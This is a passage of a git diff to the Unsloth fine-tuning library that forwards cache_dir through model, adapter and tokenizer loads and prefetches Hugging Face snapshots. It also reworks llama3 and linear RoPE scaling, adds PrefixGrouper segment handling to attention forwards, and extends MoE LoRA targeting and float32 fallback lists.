+    trust_remote_code,
+    revision,
+    local_files_only,
+    cache_dir = None,
+):
     """Load the config, aliasing the legacy ``diffusion_gemma`` model_type to the ``diffusion_gemma4``
     classes current transformers ships. AutoConfig raises on the legacy type; catch that, rewrite the
     type/arch names in-memory, and rebuild."""
@@ -90,6 +97,7 @@ def _load_diffusion_config(model_name, token, trust_remote_code, revision, local
             trust_remote_code = trust_remote_code,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
     except ValueError as e:
         if "diffusion_gemma" not in str(e):
@@ -103,6 +111,7 @@ def _load_diffusion_config(model_name, token, trust_remote_code, revision, local
             token = token,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
         with open(cfg_path, encoding = "utf-8") as f:
             cd = json.load(f)
@@ -152,12 +161,16 @@ class FastDiffusionModel:
                 os.environ.get("HF_HUB_OFFLINE", "0") == "1"
                 or os.environ.get("TRANSFORMERS_OFFLINE", "0") == "1"
             )
+
+        cache_dir = kwargs.get("cache_dir")
+
         config = _load_diffusion_config(
             model_name,
             token,
             trust_remote_code,
             revision,
             local_files_only,
+            cache_dir = cache_dir,
         )
         model_type = getattr(config, "model_type", None)
         if not is_diffusion_model_type(model_type):
@@ -168,6 +181,21 @@ class FastDiffusionModel:
 
         model_cls = _resolve_diffusion_model_class(config)
 
+        # Prefetch the whole repo root so the weight load is a cache hit. No subfolder: the pipeline
+        # loads every component subfolder, so narrowing would leave unet/vae/text_encoder to Xet.
+        maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = cache_dir,
+            local_files_only = local_files_only,
+            fast_inference = False,
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            # Forward variant (e.g. "fp16") so the warm keeps variant weights.
+            variant = kwargs.get("variant"),
+        )
+
         load_kwargs = dict(
             dtype = dtype,
             device_map = device_map,
@@ -176,7 +204,14 @@ class FastDiffusionModel:
             attn_implementation = attn_implementation,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
+        # Match the load's weight format to the warm (None/auto already matches).
+        if kwargs.get("use_safetensors") is not None:
+            load_kwargs["use_safetensors"] = kwargs["use_safetensors"]
+        # Forward variant to the real load so it reads the warmed variant weights.
+        if kwargs.get("variant") is not None:
+            load_kwargs["variant"] = kwargs["variant"]
 
         # Optional bitsandbytes quant. The MoE experts (3D Parameters) are not nn.Linear so bnb skips
         # them; only attention + dense MLP Linears quantize, lm_head/embeddings stay full precision.
@@ -222,6 +257,7 @@ class FastDiffusionModel:
                 trust_remote_code = trust_remote_code,
                 revision = revision,
                 local_files_only = local_files_only,
+                cache_dir = cache_dir,
             )
         except Exception:
             tokenizer = AutoTokenizer.from_pretrained(
@@ -230,6 +266,7 @@ class FastDiffusionModel:
                 trust_remote_code = trust_remote_code,
                 revision = revision,
                 local_files_only = local_files_only,
+                cache_dir = cache_dir,
             )
 
         return model, tokenizer
diff --git a/unsloth/models/gemma2.py b/unsloth/models/gemma2.py
index f44c1c943d..144fb6ed46 100644
--- a/unsloth/models/gemma2.py
+++ b/unsloth/models/gemma2.py
@@ -22,6 +22,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
     SDPA,
 )
 from .gemma import (
@@ -168,6 +169,11 @@ def Gemma2Attention_fast_forward(
             },
         )
 
+        # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+        # (KV cache / padding mask) raises. None => byte-identical default. gemma2 is
+        # sliding-window and softcapped: the engage gate caps spans at the window and
+        # excludes softcap models entirely, so PG never engages here.
+        _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
         context = AttentionContext(
             bsz = bsz,
             q_len = q_len,
@@ -179,6 +185,7 @@ def Gemma2Attention_fast_forward(
             attention_mask = attention_mask,
             causal_mask = causal_mask,
             sliding_window = sliding_window,
+            prefix_seg_info = _pg_seg,
         )
 
         A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/granite.py b/unsloth/models/granite.py
index f6dbb151dd..5241d17c1d 100644
--- a/unsloth/models/granite.py
+++ b/unsloth/models/granite.py
@@ -23,6 +23,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
     SDPA,
 )
 from .llama import (
@@ -159,6 +160,9 @@ def GraniteAttention_fast_forward(
         },
     )
 
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -169,6 +173,7 @@ def GraniteAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index bdbd7c37f7..8d2635877a 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -28,7 +28,11 @@ from ._utils import (
     is_bfloat16_supported,
     get_quant_type,
 )
-from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
+from .loader_utils import (
+    _exclude_rope_inv_freq_from_ddp,
+    _get_fp8_mode_and_check_settings,
+    _restore_dropped_fp8_scales,
+)
 from ..utils.packing import (
     get_packed_info_from_kwargs,
     mask_packed_sequence_boundaries,
@@ -39,6 +43,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from torch.nn.functional import scaled_dot_product_attention
 from transformers import __version__ as transformers_version
@@ -739,6 +744,10 @@ def LlamaAttention_fast_forward(
         flash_dense_kwargs = {"causal": True},
         flash_varlen_kwargs = {"dropout_p": 0.0, "causal": True},
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward (same route
+    # as packed_seq_lengths); misuse (KV cache / padding mask) raises. None => byte-identical
+    # default. Reuse of this forward also carries the branch to qwen2 & gemma.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -749,6 +758,7 @@ def LlamaAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = config, context = context, Q = Q, K = K, V = V)
@@ -896,8 +906,10 @@ def LlamaModel_fast_forward(
     seq_length_with_past = seq_length
 
     # Fix out of bounds tokenization unless we were given packed metadata
-    allow_overlength = getattr(self, "_unsloth_allow_packed_overlength", False) or (
-        "packed_seq_lengths" in kwargs
+    allow_overlength = (
+        getattr(self, "_unsloth_allow_packed_overlength", False)
+        or ("packed_seq_lengths" in kwargs)
+        or ("prefix_seg_info" in kwargs and kwargs["prefix_seg_info"] is not None)
     )
     if hasattr(self, "max_seq_length") and not allow_overlength:
         if seq_length > self.max_seq_length:
@@ -1642,6 +1654,26 @@ def _rope_scaling_as_dict(rope_scaling):
         return {}
 
 
+def _extended_rope_scaling(config, factor):
+    """RoPE scaling to extend a model past its native window. Keeps native llama3 as-is
+    (linear extension is far worse for long context); everything else gets linear. Returns
+    (scaling_or_None, type): None keeps llama3. The linear dict carries rope_theta so
+    transformers v5 (which stores it under rope_parameters) keeps the real base, not 10000.
+    Only llama3 is preserved because patch_llama_rope_scaling can only rebuild linear/llama3/
+    longrope and its longrope branch needs a top-level original_max_position_embeddings."""
+    existing = _rope_scaling_as_dict(
+        getattr(config, "rope_scaling", None) or getattr(config, "rope_parameters", None) or {}
+    )
+    existing_type = existing.get("rope_type") or existing.get("type")
+    if existing_type == "llama3":
+        return None, existing_type
+    return {
+        "type": "linear",
+        "factor": factor,
+        "rope_theta": _get_rope_theta(config),
+    }, existing_type
+
+
 def _llama3_inv_freq_from_config(
     config,
     rope_scaling,
@@ -1747,7 +1779,6 @@ class LlamaRotaryEmbedding(torch.nn.Module):
         # Base-class-from-config path (modern transformers): derive inv_freq like
         # transformers so config.rope_scaling is not dropped (#2405). Scaled
         # subclasses are excluded to avoid double-scaling.
-        config_inv_freq = None
         if config is not None:
             # [TODO] Hack to pass in config - need to remove later
             base = _get_rope_theta(config, default = base)
@@ -1760,32 +1791,17 @@ class LlamaRotaryEmbedding(torch.nn.Module):
             device = DEVICE_TYPE_TORCH
             max_position_embeddings = config.max_position_embeddings
 
-            rope_scaling = getattr(config, "rope_scaling", None)
-            if rope_scaling is not None and type(self) is LlamaRotaryEmbedding:
-                config_inv_freq, self.attention_scaling = _compute_config_rope_inv_freq(
-                    config,
-                    rope_scaling,
-                )
-
         self.dim = dim
         self.max_position_embeddings = max_position_embeddings
         self.base = base
+        # Kept so the v5 rope repair can rebuild the scaled inv_freq (#2405).
+        self._unsloth_rope_config = config
         # Dynamic RoPE we first set it to a max of 4 * 8192 tokens then we iteratively grow this
         self.current_rope_size = min(4 * 8192, self.max_position_embeddings)
         self.multi_gpu_cos_cached = [None] * DEVICE_COUNT
         self.multi_gpu_sin_cached = [None] * DEVICE_COUNT
 
-        if config_inv_freq is not None:
-            inv_freq = config_inv_freq  # already scaled; skip subclass scaling
-        else:
-            # Normal Llama-3 RoPE
-            inv_freq = 1.0 / (
-                self.base
-                ** (
-                    torch.arange(0, self.dim, 2, dtype = torch.int64, device = "cpu").float() / self.dim
-                )
-            )
-            inv_freq = self._apply_inv_freq_scaling(inv_freq)
+        inv_freq = self._unsloth_recompute_inv_freq()
         self.register_buffer("inv_freq", inv_freq, persistent = False)
 
         # Build here to make `torch.jit.trace` work.
@@ -1808,6 +1824,25 @@ class LlamaRotaryEmbedding(torch.nn.Module):
         """Override to apply custom inv_freq scaling (e.g., extended RoPE)."""
         return inv_freq
 
+    def _unsloth_recompute_inv_freq(self):
+        # Config scaling (llama3/yarn) first, else vanilla + subclass scaling.
+        # Shared by __init__ and the v5 rope repair so they cannot diverge.
+        config = getattr(self, "_unsloth_rope_config", None)
+        config_inv_freq = None
+        rope_scaling = getattr(config, "rope_scaling", None) if config is not None else None
+        if rope_scaling is not None and type(self) is LlamaRotaryEmbedding:
+            config_inv_freq, self.attention_scaling = _compute_config_rope_inv_freq(
+                config,
+                rope_scaling,
+            )
+        if config_inv_freq is not None:
+            return config_inv_freq
+        inv_freq = 1.0 / (
+            self.base
+            ** (torch.arange(0, self.dim, 2, dtype = torch.int64, device = "cpu").float() / self.dim)
+        )
+        return self._apply_inv_freq_scaling(inv_freq)
+
     def _apply_time_scaling(self, t):
         """Override to apply custom time scaling (e.g., linear scaling)."""
         return t
@@ -1918,11 +1953,18 @@ class LlamaExtendedRotaryEmbedding(LlamaRotaryEmbedding):
 
     # From https://github.com/meta-llama/llama-models/blob/main/models/llama3_1/api/model.py#L41
     def _apply_inv_freq_scaling(self, freqs: torch.Tensor):
-        # Values obtained from grid search
-        scale_factor = 8
-        low_freq_factor = 1
-        high_freq_factor = 4
-        old_context_len = 8192  # original llama3 length
+        # llama3 factors from config; Llama-3.1 defaults when built without one
+        # (legacy codegen path). Hardcoding 8 is wrong for e.g. Llama-3.2 (32).
+        # v5 renames rope_scaling -> rope_parameters; read either so the factor
+        # survives even if the rope_scaling back-compat shim is dropped.
+        config = getattr(self, "_unsloth_rope_config", None)
+        rope_scaling = _rope_scaling_as_dict(
+            getattr(config, "rope_scaling", None) or getattr(config, "rope_parameters", None) or {}
+        )
+        scale_factor = rope_scaling.get("factor", 8)
+        low_freq_factor = rope_scaling.get("low_freq_factor", 1)
+        high_freq_factor = rope_scaling.get("high_freq_factor", 4)
+        old_context_len = rope_scaling.get("original_max_position_embeddings", 8192)
 
         low_freq_wavelen = old_context_len / low_freq_factor
         high_freq_wavelen = old_context_len / high_freq_factor
@@ -2419,6 +2461,73 @@ class FastLlamaModel:
 
         preferred_attn_impl = resolve_attention_implementation(model_function, model_config)
 
+        # Prefetch the repo (killable child) so the weight load is a cache hit. Runs after the
+        # AutoConfig/model-class check so an unsupported repo fails on its small config fetch. No
+        # revision: the load resolves model_name (maybe a remapped prequant repo) on its default branch.
+        _prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            cache_dir = kwargs.get("cache_dir"),
+            local_files_only = kwargs.get("local_files_only", False),
+            # Skip the warm only for a real vLLM load; a num_labels classification load still goes
+            # in-process below, so it must be warmed even under fast_inference.
+            fast_inference = fast_inference and num_labels is None,
+            subfolder = kwargs.get("subfolder"),
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            from_tf = kwargs.get("from_tf", False),
+            from_flax = kwargs.get("from_flax", False),
+            # Bare load reads only ROOT weights; skip subdir weights. Ignored when a subfolder is set.
+            weights_at_root = True,
+            variant = kwargs.get("variant"),  # forward so the warm keeps the variant .bin
+            gguf_file = kwargs.get(
+                "gguf_file"
+            ),  # forward so the warm fetches the GGUF (else ignored)
+        )
+        # Child did the forced download; clear the flag so the load reuses the warm cache.
+        if _prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
+        # Tokenizer always loads in-process. Resolve the cache_dir the tokenizer load will actually
+        # use, mirroring load_correct_tokenizer: without an explicit cache_dir, Colab/Kaggle route to
+        # a special tokenizer cache (huggingface_tokenizers_cache / Kaggle tmp), NOT the HF-default
+        # cache the base snapshot warmed. So the base warm does not cover the tokenizer there.
+        from ..tokenizer_utils import (
+            IS_COLAB_ENVIRONMENT,
+            IS_KAGGLE_ENVIRONMENT,
+            KAGGLE_TMP,
+        )
+
+        _tokenizer_repo = (
+            tokenizer_name if (isinstance(tokenizer_name, str) and tokenizer_name) else model_name
+        )
+        _tokenizer_cache_dir = kwargs.get("cache_dir")
+        if _tokenizer_cache_dir is None:
+            if IS_COLAB_ENVIRONMENT:
+                _tokenizer_cache_dir = "huggingface_tokenizers_cache"
+            elif IS_KAGGLE_ENVIRONMENT:
+                _tokenizer_cache_dir = os.path.join(KAGGLE_TMP, "huggingface_tokenizers_cache")
+        # Warm the tokenizer repo into the cache the load will use whenever the base warm did not
+        # cover it: a distinct tokenizer repo, fast_inference (base warm skipped), or a tokenizer
+        # cache_dir that differs from the base-warm cache_dir (Colab/Kaggle special cache).
+        _warm_tokenizer_repo = (
+            isinstance(_tokenizer_repo, str)
+            and bool(_tokenizer_repo)
+            and (
+                _tokenizer_repo != model_name
+                or fast_inference
+                or _tokenizer_cache_dir != kwargs.get("cache_dir")
+            )
+        )
+        if _warm_tokenizer_repo:
+            maybe_prefetch_hf_snapshot(
+                _tokenizer_repo,
+                token = token,
+                cache_dir = _tokenizer_cache_dir,
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         has_rope_scaling = False
         try:
             with open(inspect.getfile(model_function), "r", encoding = "utf-8") as file:
@@ -2432,34 +2541,33 @@ class FastLlamaModel:
             max_seq_length = model_max_seq_length
 
         if (rope_scaling is None) and (max_seq_length > model_max_seq_length):
-            rope_scaling = max_seq_length / model_max_seq_length
+            factor = max_seq_length / model_max_seq_length
 
             if fast_inference:
                 raise NotImplementedError(
                     "Unsloth: Fast inference does not yet work with RoPE Scaling."
                 )
 
-            logger.warning_once(
-                f"Unsloth: {model_name} can only handle sequence lengths of at most "
-                f"{model_max_seq_length}.\nBut with kaiokendev's RoPE scaling of "
-                f"{round(rope_scaling, 3)}, it can be magically be extended to "
-                f"{max_seq_length}!"
-            )
-
-            # Warn RoPE scaling isn't allowed
-            if not has_rope_scaling:
-                raise RuntimeError(
-                    f"However, {model_name} doesn't support RoPE Scaling!\n"
-                    "Please file a feature request at https://github.com/unslothai/unsloth."
+            linear_scaling, native_type = _extended_rope_scaling(model_config, factor)
+            if linear_scaling is not None:
+                logger.warning_once(
+                    f"Unsloth: {model_name} can only handle sequence lengths of at most "
+                    f"{model_max_seq_length}.\nBut with kaiokendev's RoPE scaling of "
+                    f"{round(factor, 3)}, it can be magically be extended to "
+                    f"{max_seq_length}!"
+                )
+                if not has_rope_scaling:
+                    raise RuntimeError(
+                        f"However, {model_name} doesn't support RoPE Scaling!\n"
+                        "Please file a feature request at https://github.com/unslothai/unsloth."
+                    )
+                kwargs["rope_scaling"] = linear_scaling
+            else:
+                # Native llama3 scaling already handles long context; just widen the window.
+                logger.warning_once(
+                    f"Unsloth: extending {model_name} to {max_seq_length} using its native "
+                    f"{native_type} RoPE scaling."
                 )
-
-            rope_scaling = {
-                "type": "linear",
-                "factor": rope_scaling,
-            }
-
-            # Add to kwargs
-            kwargs["rope_scaling"] = rope_scaling
 
         from .loader_utils import (
             check_and_disable_bitsandbytes_loading,
@@ -2573,6 +2681,18 @@ class FastLlamaModel:
                     offload_embedding = False,
                     fast_inference = fast_inference,
                 )
+                # Re-apply block-fp8 weight_scale_inv tensors transformers dropped on load (#6200).
+                _restore_dropped_fp8_scales(
+                    model,
+                    model_name,
+                    local_files_only = kwargs.get("local_files_only", False),
+                    token = token,
+                    # Weights load from the default branch (revision not forwarded), so read scales from there too.
+                    revision = None,
+                    subfolder = kwargs.get("subfolder"),
+                    cache_dir = kwargs.get("cache_dir"),
+                    variant = kwargs.get("variant"),
+                )
             elif not fast_inference:
                 if user_config is not None:
                     # Transformers 5.x @strict model init rejects extra kwargs next
@@ -2611,6 +2731,18 @@ class FastLlamaModel:
                     offload_embedding = False,
                     fast_inference = False,
                 )
+                # Re-apply block-fp8 weight_scale_inv tensors transformers dropped on load (#6200).
+                _restore_dropped_fp8_scales(
+                    model,
+                    model_name,
+                    local_files_only = kwargs.get("local_files_only", False),
+                    token = token,
+                    # Weights load from the default branch (revision not forwarded), so read scales from there too.
+                    revision = None,
+                    subfolder = kwargs.get("subfolder"),
+                    cache_dir = kwargs.get("cache_dir"),
+                    variant = kwargs.get("variant"),
+                )
                 model.fast_generate = make_fast_generate_wrapper(model.generate)
                 model.fast_generate_batches = None
             else:
@@ -2671,6 +2803,10 @@ class FastLlamaModel:
 
         # Counteract saved tokenizers
         tokenizer_name = model_name if tokenizer_name is None else tokenizer_name
+        # Route the tokenizer load to the custom cache_dir the prefetch warmed.
+        _tokenizer_cache_kwargs = {}
+        if kwargs.get("cache_dir") is not None:
+            _tokenizer_cache_kwargs["cache_dir"] = kwargs["cache_dir"]
         tokenizer = load_correct_tokenizer(
             tokenizer_name = tokenizer_name,
             model_max_length = max_position_embeddings,
@@ -2678,6 +2814,7 @@ class FastLlamaModel:
             token = token,
             trust_remote_code = trust_remote_code,
             fix_tokenizer = fix_tokenizer,
+            **_tokenizer_cache_kwargs,
         )
 
         model, tokenizer = patch_tokenizer(model, tokenizer)
@@ -2804,6 +2941,7 @@ class FastLlamaModel:
                 model_max_length = max_position_embeddings,
                 padding_side = "right",
                 token = token,
+                cache_dir = kwargs.get("cache_dir"),
             )
         patch_saving_functions(tokenizer)
 
@@ -3013,6 +3151,11 @@ class FastLlamaModel:
             new_target_modules = list(target_modules) + list(
                 modules_to_save if modules_to_save is not None else []
             )
+            # Per-expert Linear MoE experts (e.g. gpt-oss bnb-4bit) were auto-added to the
+            # saved target_modules when the adapter was first created. Recompute them so a
+            # repeat get_peft_model call with the same args stays idempotent instead of
+            # tripping the mismatch below. No-op for non per-expert-Linear models.
+            new_target_modules += get_moe_target_modules(model, target_modules)
 
             # Now check!
             new_target_modules = set(new_target_modules)
@@ -3239,6 +3382,19 @@ class FastLlamaModel:
         if target_parameters is None:
             target_parameters = get_moe_target_parameters(model, target_modules)
 
+        # Per-expert Linear expert layouts (e.g. gpt-oss bnb-4bit) are Linear modules,
+        # not fused Parameters, so target them via target_modules. No-op otherwise.
+        _moe_module_targets = get_moe_target_modules(model, target_modules)
+        if _moe_module_targets:
+            _added = [t for t in _moe_module_targets if t not in final_modules]
+            final_modules.extend(_added)
+            if _added:
+                print(
+                    f"Unsloth: Detected MoE model with per-expert Linear experts. "
+                    f"Enabling LoRA on {len(_added)} expert projection modules."
+                )
+                warn_if_zoo_cannot_merge_moe_experts()
+
         if finetune_last_n_layers is not None and layers_to_transform is None:
             from .vision import _get_total_transformer_layers
             _total_layers = _get_total_transformer_layers(model)
@@ -3742,4 +3898,17 @@ class FastLlamaModel:
 
 from .rl import PatchFastRL
 
+# Auto-enable grouped-GEMM MoE (tf<5 ModuleList experts) on built / PEFT'd models. Wrap the
+# loader leaves before PatchFastRL so downstream patchers see the wrapped versions. Guarded.
+try:
+    from unsloth_zoo.temporary_patches.moe_grouped_modulelist import wrap_loader_for_grouped_moe
+    FastLlamaModel.from_pretrained = staticmethod(
+        wrap_loader_for_grouped_moe(FastLlamaModel.from_pretrained)
+    )
+    FastLlamaModel.get_peft_model = staticmethod(
+        wrap_loader_for_grouped_moe(FastLlamaModel.get_peft_model)
+    )
+except Exception:
+    pass
+
 PatchFastRL(FastLanguageModel = FastLlamaModel)
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 562afdd645..13342157b0 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -21,6 +21,10 @@ from ._utils import (
     USE_MODELSCOPE,
     get_transformers_model_type,
     hf_login,
+    # Single source of truth is _utils.py; re-exported here so callers doing
+    # `from unsloth.models.loader import DISABLE_SDPA_MODEL_NAMES` keep working and so
+    # _is_sdpa_excluded (in _utils) can honor it without a loader -> _utils cycle.
+    DISABLE_SDPA_MODEL_NAMES,
 )
 from .granite import FastGraniteModel
 from .llama import FastLlamaModel, logger
@@ -106,24 +110,31 @@ from ._utils import (
     _is_family_text_decoder,
     _apply_text_only_key_mapping,
     set_task_config_attr,
+    maybe_prefetch_hf_snapshot,
 )
 
-# Single source of truth is unsloth_zoo.model_lists. Re-exported so callers
-# doing `from unsloth.models.loader import FORCE_FLOAT32` keep working.
-# Fallback list mirrors zoo for users who upgrade unsloth without upgrading
-# unsloth_zoo (so this module never fails at import).
+# Source of truth is unsloth_zoo.model_lists. Re-exported so callers doing
+# `from unsloth.models.loader import FORCE_FLOAT32` keep working. The fallback
+# list is also unioned in so a newer unsloth still forces float32 for these
+# archs when paired with an older unsloth_zoo that predates them (upgrade skew).
+_FORCE_FLOAT32_FALLBACK = [
+    "gemma3,",  # Add comma bc gemma3 will match gemma3n
+    "gemma3text",  # Gemma3TextModel (EmbeddingGemma, standalone text-only Gemma3)
+    "gemma3n",
+    "gemma4",  # Gemma4 (gemma4 / gemma4_text): float16 NaNs grad norms in the backward
+    "glm4_moe",  # GLM-4.x MoE (glm4_moe / glm4_moe_lite): float16 NaNs grad norms
+    "gpt_oss",
+    "qwen3_5",  # Qwen3.5 GDN layers produce NaN grad norms in float16 training
+    "qwen3_moe",  # Qwen3-MoE (Qwen3-30B-A3B): float16 NaNs grad norms in the backward
+]
 try:
-    from unsloth_zoo import FORCE_FLOAT32  # noqa: F401
+    from unsloth_zoo import FORCE_FLOAT32 as _ZOO_FORCE_FLOAT32
+    FORCE_FLOAT32 = list(_ZOO_FORCE_FLOAT32)
 except ImportError:
-    global FORCE_FLOAT32
-    # Forces float32 precision since float16 goes to infinity
-    FORCE_FLOAT32 = [
-        "gemma3,",  # Add comma bc gemma3 will match gemma3n
-        "gemma3text",  # Gemma3TextModel (EmbeddingGemma, standalone text-only Gemma3)
-        "gemma3n",
-        "gpt_oss",
-        "qwen3_5",  # Qwen3.5 GDN layers produce NaN grad norms in float16 training
-    ]
+    FORCE_FLOAT32 = []
+for _mt in _FORCE_FLOAT32_FALLBACK:
+    if not any(_mt in _entry for _entry in FORCE_FLOAT32):
+        FORCE_FLOAT32.append(_mt)
 
 global DISABLE_COMPILE_MODEL_NAMES
 # Must be alphabetically sorted for each entry
@@ -195,13 +206,44 @@ DISABLE_COMPILE_MODEL_NAMES = [
     "granite,llava_next",  # Granite-vision 3
 ]
 
-global DISABLE_SDPA_MODEL_NAMES
-# Disables some SDPA modules since it's wrong
-DISABLE_SDPA_MODEL_NAMES = [
-    "gemma3,",  # Add comma bc gemma3 will match gemma3n
-    "gemma3_text",  # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore
-    "gpt_oss",
-]
+# Architectures with gated-deltanet (linear attention) layers. Unsloth bundles the
+# flash-linear-attention Triton kernels (unsloth_zoo/_vendored/fla), so no install is
+# needed; transformers uses the much slower pure PyTorch path only when they can't be enabled.
+FLA_MODEL_TYPE_PREFIXES = ("qwen3_next", "qwen3_5", "kimi_linear", "olmo_hybrid")
+_fla_advised = False
+
+
+def _maybe_advise_fla_install(model_types):
+    """One-time note when a gated-deltanet model loads without the fast kernels.
+
+    The kernels ship with Unsloth (no install needed); this fires only when they
+    could not be enabled on this platform (e.g. no CUDA, torch < 2.7 or
+    triton < 3.3), i.e. exactly when transformers uses the slow pure PyTorch path.
+    """
+    global _fla_advised
+    if _fla_advised:
+        return
+    if model_types is None:
+        return
+    if isinstance(model_types, str):
+        model_types = [model_types]  # a lone string would otherwise iterate chars
+    try:
+        if not any(
+            isinstance(t, str) and t.startswith(FLA_MODEL_TYPE_PREFIXES) for t in model_types
+        ):
+            return
+        from transformers.utils.import_utils import is_flash_linear_attention_available
+        if is_flash_linear_attention_available():
+            return  # bundled (or user-installed) fast kernels are active
+    except Exception:
+        return
+    _fla_advised = True
+    print(
+        "Unsloth: This model uses gated-deltanet linear attention layers. Unsloth\n"
+        "bundles the flash-linear-attention kernels, but they could not be enabled\n"
+        "on this setup (they need CUDA with torch >= 2.7 and triton >= 3.3), so\n"
+        "transformers will use a slower pure PyTorch path."
+    )
 
 
 def _fix_rope_inv_freq(model):
@@ -227,14 +269,18 @@ def _fix_rope_inv_freq(model):
             and hasattr(module, "_apply_inv_freq_scaling")
             and hasattr(module, "multi_gpu_cos_cached")
         ):
-            inv_freq = 1.0 / (
-                module.base
-                ** (
-                    torch.arange(0, module.dim, 2, dtype = torch.int64, device = "cpu").float()
-                    / module.dim
+            if hasattr(module, "_unsloth_recompute_inv_freq"):
+                # Restore config scaling (llama3/yarn); unscaled here broke v5.
+                inv_freq = module._unsloth_recompute_inv_freq()
+            else:
+                inv_freq = 1.0 / (
+                    module.base
+                    ** (
+                        torch.arange(0, module.dim, 2, dtype = torch.int64, device = "cpu").float()
+                        / module.dim
+                    )
                 )
-            )
-            inv_freq = module._apply_inv_freq_scaling(inv_freq)
+                inv_freq = module._apply_inv_freq_scaling(inv_freq)
             module.inv_freq = inv_freq
             for device_idx in range(len(module.multi_gpu_cos_cached)):
                 if module.multi_gpu_cos_cached[device_idx] is not None:
@@ -469,8 +515,10 @@ class FastLanguageModel(FastLlamaModel):
             ("-unsloth-bnb-4bit", "-bnb-4bit")
         ):
             model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-        # Change -BF16 to all False for 4bit, 8bit etc
-        if model_name.lower().endswith("-bf16"):
+        # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+        if model_name.lower().endswith("-bf16") and (
+            load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+        ):
             load_in_4bit = False
             load_in_8bit = False
             load_in_fp8 = False
@@ -628,8 +676,10 @@ class FastLanguageModel(FastLlamaModel):
                 ("-unsloth-bnb-4bit", "-bnb-4bit")
             ):
                 model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-            # Change -BF16 to all False for 4bit, 8bit etc
-            if model_name.lower().endswith("-bf16"):
+            # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+            if model_name.lower().endswith("-bf16") and (
+                load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+            ):
                 load_in_4bit = False
                 load_in_8bit = False
                 load_in_fp8 = False
@@ -865,6 +915,28 @@ class FastLanguageModel(FastLlamaModel):
         if is_peft:
             # From https://github.com/huggingface/peft/issues/184
             # Now add PEFT adapters
+            # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet.
+            _prefetched = maybe_prefetch_hf_snapshot(
+                old_model_name,
+                token = token,
+                revision = revision,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = local_files_only,
+                # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.
+                fast_inference = False,
+                force_download = kwargs.get("force_download", False),
+                # Leave use_safetensors auto (inheriting base format could skip a safetensors-only
+                # adapter). adapter_only restricts the warm to the adapter files + root aux.
+                adapter_only = True,
+            )
+            # Child did the forced download; clear the flag so the load reuses the warm cache.
+            if _prefetched and kwargs.get("force_download", False):
+                kwargs["force_download"] = False
+            # Forward cache_dir so the load reads the warmed adapter. No subfolder (that targets the
+            # base checkpoint; adapters live at the root).
+            peft_load_kwargs = {}
+            if kwargs.get("cache_dir") is not None:
+                peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]
             model = PeftModel.from_pretrained(
                 model,
                 old_model_name,
@@ -873,9 +945,19 @@ class FastLanguageModel(FastLlamaModel):
                 local_files_only = local_files_only,
                 is_trainable = True,
                 trust_remote_code = trust_remote_code,
+                **peft_load_kwargs,
             )
             # Patch it as well!
             model = dispatch_model.patch_peft_model(model, use_gradient_checkpointing)
+            # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back
+            # to the original loop, an attention-only adapter keeps the grouped path. Guarded.
+            try:
+                from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (
+                    auto_enable_grouped_moe,
+                )
+                auto_enable_grouped_moe(model)
+            except Exception:
+                pass  # optional speedup; never block model loading
 
         # Patch Tiled MLP
         # to turn on set UNSLOTH_TILED_MLP to "arctic", "target", or "target:{GB}""
@@ -1116,8 +1198,10 @@ class FastModel(FastBaseModel):
             ("-unsloth-bnb-4bit", "-bnb-4bit")
         ):
